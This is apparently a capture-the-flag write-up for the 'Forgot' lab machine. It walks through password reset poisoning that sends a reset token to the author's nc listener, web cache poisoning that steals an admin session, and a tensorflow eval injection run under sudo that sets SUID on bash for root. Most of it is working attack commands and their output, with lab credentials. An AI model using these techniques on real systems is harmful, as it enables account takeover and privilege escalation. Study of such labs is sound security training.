Forgot
12 minutes to read
root
using sudo
, and there is a library with a vulnerable version where we can inject Python code to escalate privileges- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.188
- Release: 12 / 11 / 2022
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.188 -p 22,80
Nmap scan report for 10.10.11.188
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.8.10
|_http-title: Login
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date:
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| X-Varnish: 32794
| Age: 0
| Via: 1.1 varnish (Varnish/6.2)
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date:
| Content-Type: text/html; charset=utf-8
| Content-Length: 219
| Location: http://127.0.0.1
| X-Varnish: 32789
| Age: 0
| Via: 1.1 varnish (Varnish/6.2)
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://127.0.0.1">http://127.0.0.1</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date:
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, GET, OPTIONS
| Content-Length: 0
| X-Varnish: 34
| Age: 0
| Via: 1.1 varnish (Varnish/6.2)
| Accept-Ranges: bytes
| Connection: close
| RTSPRequest, SIPOptions:
|_ HTTP/1.1 400 Bad Request
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 157.20 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.188
, we will see this website:
It is a login form, but we don’t have any credentials. Plus, there is a page to recover forgotten passwords:
Here we have a way to enumerate users (for instance, admin
exists):
If we take a look at the response headers, we see that the server uses Python (probably Flask) and there are references to Varnish:
$ curl -I 10.10.11.188
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.8.10
Date:
Content-Type: text/html; charset=utf-8
Content-Length: 5187
X-Varnish: 148147 313511
Age: 8
Via: 1.1 varnish (Varnish/6.2)
Accept-Ranges: bytes
Connection: keep-alive
Varnish is a web cache, as shown in www.varnish-software.com:
Actually, this is noticeable when requesting the same resource multiple times. The first response takes about 2 seconds to return, whereas the following requests to the same resources only take a few milliseconds:
$ time curl '10.10.11.188/forgot?username=admin' -s >/dev/null
2,95 real 0,00 user 0,00 sys
$ time curl '10.10.11.188/forgot?username=admin' -s >/dev/null
0,25 real 0,01 user 0,00 sys
$ time curl '10.10.11.188/forgot?username=admin' -s >/dev/null
0,22 real 0,01 user 0,00 sys
$ time curl '10.10.11.188/forgot?username=asdf' -s >/dev/null
2,37 real 0,01 user 0,00 sys
$ time curl '10.10.11.188/forgot?username=asdf' -s >/dev/null
0,21 real 0,01 user 0,00 sys
$ time curl '10.10.11.188/forgot?username=asdf' -s >/dev/null
0,20 real 0,01 user 0,00 sys
For the moment, let’s enumerate more routes using ffuf
:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://10.10.11.188/FUZZ
[Status: 200, Size: 5189, Words: 762, Lines: 246, Duration: 78ms]
* FUZZ: login
[Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 85ms]
* FUZZ: home
[Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 57ms]
* FUZZ: tickets
[Status: 200, Size: 5523, Words: 820, Lines: 261, Duration: 120ms]
* FUZZ: reset
[Status: 200, Size: 5227, Words: 766, Lines: 253, Duration: 2501ms]
* FUZZ: forgot
Foothold
We see /reset
:
But we need a token…
Password reset poisoning
Since there are no more functionalities in the website and common injections do not work (SQLi / NoSQLi), we need to do a bit of research. The name of the machine (“Forgot”) and the functionality to restore forgot passwords are hints to the attack we need to perform. There is a good post by portswigger.net explaining how password reset poisoning works.
The key is to enter our managed server IP address in the Host
header, so that the cache gets poisoned. Then, the legitimate user will go to our server with the reset token because the Host
header was poisoned:
Source: https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning
The attack seems simple. But first of all, we need to find a valid user different to admin
.
Unexpectedly, there was an HTML comment in the main page with a random user:
Now we are able to reset his password:
Let’s switch to curl
to poison the cache while listening on port 80 with nc
:
$ curl '10.10.11.188/forgot?username=robert-dev-10036' -H 'Host: 10.10.17.44'
Password reset link has been sent to user inbox. Please use the link to reset your password
$ curl '10.10.11.188/forgot?username=robert-dev-10036' -H 'Host: 10.10.17.44'
Password reset link has been sent to user inbox. Please use the link to reset your password
$ curl '10.10.11.188/forgot?username=robert-dev-10036' -H 'Host: 10.10.17.44'
Password reset link has been sent to user inbox. Please use the link to reset your password
$ curl '10.10.11.188/forgot?username=robert-dev-10036' -H 'Host: 10.10.17.44'
Password reset link has been sent to user inbox. Please use the link to reset your password
$ curl '10.10.11.188/forgot?username=robert-dev-10036' -H 'Host: 10.10.17.44'
Password reset link has been sent to user inbox. Please use the link to reset your password
After a few seconds, we receive a hit in nc
:
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.188.
Ncat: Connection from 10.10.11.188:51006.
GET /reset?token=uOnf6gEMfSAM3HBvxaAAkJ9u4CRYqMBvdD%2BVI2bRCyb4aLOj7b0m8RcrTtCyMlTlLAIhl2kA72PFz%2Be6vy4t%2Fg%3D%3D HTTP/1.1
Host: 10.10.17.44
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Incredible, we have the password reset token. Let’s change the password then:
$ curl '10.10.11.188/reset?token=uOnf6gEMfSAM3HBvxaAAkJ9u4CRYqMBvdD%2BVI2bRCyb4aLOj7b0m8RcrTtCyMlTlLAIhl2kA72PFz%2Be6vy4t%2Fg%3D%3D' -d 'password=asdf'
Success
Great, now we have access as a valid user:
In /tickets
we can see some reported issues:
For instance, there is one that told about SSH credentials. There is also another page in /escalate
:
Here we can send some requests that will be read by Admin. In this type of forms, we can try to inject XSS or CSRF payloads to see if there is HTML injection or JavaScript execution on the Admin’s side. Nevertheless, this time it is not vulnerable.
Web cache poisoning
We must recall that there was a web cache, which is Varnish version 6.2.0. This software has a few CVE, but there is no clear exploit. The key thing is that Admin will follow the link we enter in the form. But there is a filter, for instance, we cannot enter our own IP address or localhost
. There are some articles at portswigger.net that explain how web caches can be compromised.
Since we will be dealing with a web cache, probably it is storing static contents (mainly CSS and JavaScript files). The idea is to make Admin request one of this files, so that the response is cached. The file must not exist beforehand:
$ curl 10.10.11.188/escalate -H 'Cookie: session=c4d1925a-a30d-4d9e-b652-a23924069b7c' -d 'to=Admin&link=http://10.10.11.188/static/js/asdf.js&reason=r&issue=Getting error while accessing search feature in enterprise platform.'
Escalation form submitted to Admin and will be reviewed soon!
After a few seconds and a lot of trial and error, a new session cookie is found when requesting the static file:
$ curl 10.10.11.188/static/js/asdf.js -sI | grep Cookie
Set-Cookie: session=d0041078-2303-4bf4-a109-83e7979ed453; HttpOnly; Path=/
Now we can set this cookie in the browser:
Curiosly, the username does not change in the webpage. Anyway, we can to click on “Tickets (escalated)”, but it is disabled in the HTML code:
This is not a problem, since we can put /admin_tickets
directly in the URL bar:
And now we have credentials for diego
(password: dCb#1!x0%gjq
). Let’s try to connect via SSH:
$ ssh diego@10.10.11.188
diego@10.10.11.188's password:
diego@forgot:~$ cat user.txt
22ddb2f559bed71e3f76886ccff8c4a2
Privilege escalation
A basic enumeration tells us what to do:
diego@forgot:~$ sudo -l
Matching Defaults entries for diego on forgot:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User diego may run the following commands on forgot:
(ALL) NOPASSWD: /opt/security/ml_security.py
We are able to run a Python script as root
with sudo
. This is such script:
#!/usr/bin/python3
import sys
import csv
import pickle
import mysql.connector
import requests
import threading
import numpy as np
import pandas as pd
import urllib.parse as parse
from urllib.parse import unquote
from sklearn import model_selection
from nltk.tokenize import word_tokenize
from sklearn.linear_model import LogisticRegression
from gensim.models.doc2vec import Doc2Vec, TaggedDocument
from tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_string
np.random.seed(42)
f1 = '/opt/security/lib/DecisionTreeClassifier.sav'
f2 = '/opt/security/lib/SVC.sav'
f3 = '/opt/security/lib/GaussianNB.sav'
f4 = '/opt/security/lib/KNeighborsClassifier.sav'
f5 = '/opt/security/lib/RandomForestClassifier.sav'
f6 = '/opt/security/lib/MLPClassifier.sav'
# load the models from disk
loaded_model1 = pickle.load(open(f1, 'rb'))
loaded_model2 = pickle.load(open(f2, 'rb'))
loaded_model3 = pickle.load(open(f3, 'rb'))
loaded_model4 = pickle.load(open(f4, 'rb'))
loaded_model5 = pickle.load(open(f5, 'rb'))
loaded_model6 = pickle.load(open(f6, 'rb'))
model= Doc2Vec.load("/opt/security/lib/d2v.model")
# Create a function to convert an array of strings to a set of features
def getVec(text):
features = []
for i, line in enumerate(text):
test_data = word_tokenize(line.lower())
v1 = model.infer_vector(test_data)
featureVec = v1
lineDecode = unquote(line)
lowerStr = str(lineDecode).lower()
feature1 = int(lowerStr.count('link'))
feature1 += int(lowerStr.count('object'))
feature1 += int(lowerStr.count('form'))
feature1 += int(lowerStr.count('embed'))
feature1 += int(lowerStr.count('ilayer'))
feature1 += int(lowerStr.count('layer'))
feature1 += int(lowerStr.count('style'))
feature1 += int(lowerStr.count('applet'))
feature1 += int(lowerStr.count('meta'))
feature1 += int(lowerStr.count('img'))
feature1 += int(lowerStr.count('iframe'))
feature1 += int(lowerStr.count('marquee'))
# add feature for malicious method count
feature2 = int(lowerStr.count('exec'))
feature2 += int(lowerStr.count('fromcharcode'))
feature2 += int(lowerStr.count('eval'))
feature2 += int(lowerStr.count('alert'))
feature2 += int(lowerStr.count('getelementsbytagname'))
feature2 += int(lowerStr.count('write'))
feature2 += int(lowerStr.count('unescape'))
feature2 += int(lowerStr.count('escape'))
feature2 += int(lowerStr.count('prompt'))
feature2 += int(lowerStr.count('onload'))
feature2 += int(lowerStr.count('onclick'))
feature2 += int(lowerStr.count('onerror'))
feature2 += int(lowerStr.count('onpage'))
feature2 += int(lowerStr.count('confirm'))
# add feature for ".js" count
feature3 = int(lowerStr.count('.js'))
# add feature for "javascript" count
feature4 = int(lowerStr.count('javascript'))
# add feature for length of the string
feature5 = int(len(lowerStr))
# add feature for "<script" count
feature6 = int(lowerStr.count('script'))
feature6 += int(lowerStr.count('<script'))
feature6 += int(lowerStr.count('<script'))
feature6 += int(lowerStr.count('%3cscript'))
feature6 += int(lowerStr.count('%3c%73%63%72%69%70%74'))
# add feature for special character count
feature7 = int(lowerStr.count('&'))
feature7 += int(lowerStr.count('<'))
feature7 += int(lowerStr.count('>'))
feature7 += int(lowerStr.count('"'))
feature7 += int(lowerStr.count('\''))
feature7 += int(lowerStr.count('/'))
feature7 += int(lowerStr.count('%'))
feature7 += int(lowerStr.count('*'))
feature7 += int(lowerStr.count(';'))
feature7 += int(lowerStr.count('+'))
feature7 += int(lowerStr.count('='))
feature7 += int(lowerStr.count('%3C'))
# add feature for http count
feature8 = int(lowerStr.count('http'))
# append the features
featureVec = np.append(featureVec,feature1)
featureVec = np.append(featureVec,feature2)
featureVec = np.append(featureVec,feature3)
featureVec = np.append(featureVec,feature4)
featureVec = np.append(featureVec,feature5)
featureVec = np.append(featureVec,feature6)
featureVec = np.append(featureVec,feature7)
featureVec = np.append(featureVec,feature8)
features.append(featureVec)
return features
# Grab links
conn = mysql.connector.connect(host='localhost',database='app',user='diego',password='dCb#1!x0%gjq')
cursor = conn.cursor()
cursor.execute('select reason from escalate')
r = [i[0] for i in cursor.fetchall()]
conn.close()
data=[]
for i in r:
data.append(i)
Xnew = getVec(data)
#1 DecisionTreeClassifier
ynew1 = loaded_model1.predict(Xnew)
#2 SVC
ynew2 = loaded_model2.predict(Xnew)
#3 GaussianNB
ynew3 = loaded_model3.predict(Xnew)
#4 KNeighborsClassifier
ynew4 = loaded_model4.predict(Xnew)
#5 RandomForestClassifier
ynew5 = loaded_model5.predict(Xnew)
#6 MLPClassifier
ynew6 = loaded_model6.predict(Xnew)
# show the sample inputs and predicted outputs
def assessData(i):
score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))
if score >= .5:
try:
preprocess_input_exprs_arg_string(data[i],safe=False)
except:
pass
for i in range(len(Xnew)):
t = threading.Thread(target=assessData, args=(i,))
# t.daemon = True
t.start()
It is a Machine Learning script that performs some operations on saved models. We can check if we have permissions to modify the script or the saved models:
diego@forgot:~$ ls -l /opt/security/ml_security.py
-rwxr-xr-x 1 root root 5644 Nov 14 15:32 /opt/security/ml_security.py
diego@forgot:~$ ls -la /opt/security/lib/
total 31392
drwxr-xr-x 2 root root 4096 Jul 22 2022 .
drwxr-xr-x 3 root root 4096 Nov 14 15:32 ..
-rw-r--r-- 1 root root 51534 Jul 9 2022 d2v.model
-rw-r--r-- 1 root root 89314 Jul 9 2022 DecisionTreeClassifier.sav
-rw-r--r-- 1 root root 1482 Jul 9 2022 GaussianNB.sav
-rw-r--r-- 1 root root 19375012 Jul 9 2022 KNeighborsClassifier.sav
-rw-r--r-- 1 root root 79195 Jul 9 2022 MLPClassifier.sav
-rw-r--r-- 1 root root 11783960 Jul 9 2022 RandomForestClassifier.sav
-rw-r--r-- 1 root root 741729 Jul 9 2022 SVC.sav
Everything is correct, so we can’t get easy code execution by modifying the script or serializing some malicious payload with pickle
. There are no Library Hijacking options either since sudo
resets tne environment variables.
Code injection
The script is related to Machine Learning, but there is a suspicious function being used:
# show the sample inputs and predicted outputs
def assessData(i):
score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))
if score >= .5:
try:
preprocess_input_exprs_arg_string(data[i],safe=False)
except:
pass
Yes, preprocess_input_exprs_arg_string
. This function comes from tensorflow
, and doesn’t look to be related with Machine Learning. In fact, if we search a bit, we will find that this function is vulnerable to code injection. More information at security.snyk.io.
Indeed, the version of tensorflow
is vulnerable:
diego@forgot:~$ pip freeze | grep tensorflow
tensorflow==2.6.3
tensorflow-estimator==2.6.0
The injection occurs in that function because it uses eval
. Therefore, we can run arbitrary Python code as root
(because we are using sudo
).
The variable called data
comes fron the database:
# Grab links
conn = mysql.connector.connect(host='localhost',database='app',user='diego',password='dCb#1!x0%gjq')
cursor = conn.cursor()
cursor.execute('select reason from escalate')
r = [i[0] for i in cursor.fetchall()]
conn.close()
data=[]
for i in r:
data.append(i)
And we have the credentials there (also, they are reused from SSH). Hence, let’s add malicious Python code in the database and run the script. For instance, let’s set /bin/bash
to be a SUID binary:
diego@forgot:~$ mysql --user=diego --password='dCb#1!x0%gjq' --database=app
mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 451
Server version: 8.0.31-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2022, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show tables;
+---------------+
| Tables_in_app |
+---------------+
| admin_tickets |
| escalate |
| forgot |
| tickets |
| users |
+---------------+
5 rows in set (0.01 sec)
mysql> describe escalate;
+--------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+------+------+-----+---------+-------+
| user | text | YES | | NULL | |
| issue | text | YES | | NULL | |
| link | text | YES | | NULL | |
| reason | text | YES | | NULL | |
+--------+------+------+-----+---------+-------+
4 rows in set (0.01 sec)
mysql> insert into escalate (reason) values ('x = exec("""__import__("os").system("chmod 4755 /bin/bash")""")');
Query OK, 1 row affected (0.00 sec)
mysql> select * from escalate;
+------+-------+------+-----------------------------------------------------------------+
| user | issue | link | reason |
+------+-------+------+-----------------------------------------------------------------+
| NULL | NULL | NULL | x = exec("""__import__("os").system("chmod 4755 /bin/bash")""") |
+------+-------+------+-----------------------------------------------------------------+
1 row in set (0.00 sec)
mysql> exit
Bye
Now we will run the script with sudo
and successfully change /bin/bash
permissions:
diego@forgot:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
diego@forgot:~$ sudo /opt/security/ml_security.py
yyyy-mm-dd HH:MM:SS.ms: W tensorflow/stream_executor/platform/default/dso_loader.cc:64] Could not load dynamic library 'libcudart.so.11.0'; dlerror: libcudart.so.11.0: cannot open shared object file: No such file or directory
yyyy-mm-dd HH:MM:SS.ms: I tensorflow/stream_executor/cuda/cudart_stub.cc:29] Ignore above cudart dlerror if you do not have a GPU set up on your machine.
diego@forgot:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
At this point, we can get access as root
and read the root.txt
flag:
diego@forgot:~$ bash -p
bash-5.0# cat /root/root.txt
7be898da875128a659f527248b8648c8